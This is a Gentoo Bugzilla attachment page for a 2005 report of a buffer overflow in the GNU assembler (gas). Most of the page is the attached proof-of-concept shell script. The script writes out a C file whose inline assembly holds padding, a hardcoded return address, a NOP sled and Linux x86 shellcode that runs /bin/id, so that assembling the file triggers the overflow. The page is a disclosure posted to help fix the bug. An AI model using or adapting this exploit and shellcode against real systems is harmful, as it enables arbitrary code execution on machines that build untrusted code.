Go to:
Gentoo Home
Documentation
Forums
Lists
Bugs
Planet
Store
Wiki
Get Gentoo!
Gentoo's Bugzilla – Attachment 63735 Details for
Bug 99464
sys-devel/binutils: buffer overflow in gas
Home
|
New
–
[Ex]
|
Browse
|
Search
|
Privacy Policy
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
PoC
gas-poc.sh (text/plain), 608 bytes, created by
Tavis Ormandy (RETIRED)
on 2005-07-18 14:34:20 UTC
(
hide
)
Description:
PoC
Filename:
MIME Type:
Creator:
Tavis Ormandy (RETIRED)
Created:
2005-07-18 14:34:20 UTC
Size:
608 bytes
patch
obsolete
>#!/bin/sh ># ># gas overflow poc, <taviso@gentoo.org> > >returnaddr='\xc4\xea\xff\xbf' >shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id' > >printf '#include <stdio.h>\n' >printf '#define EGG "%s"\n' "$shellcode" >printf '#define RET "%s"\n' "$returnaddr" >printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`" >printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`" > >cat << __EOF__ >#include <stdio.h> > >int main (int argc, char **argv) >{ > __asm__ (PAD RET NOP EGG); >} >__EOF__
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 99464
: 63735 |
63736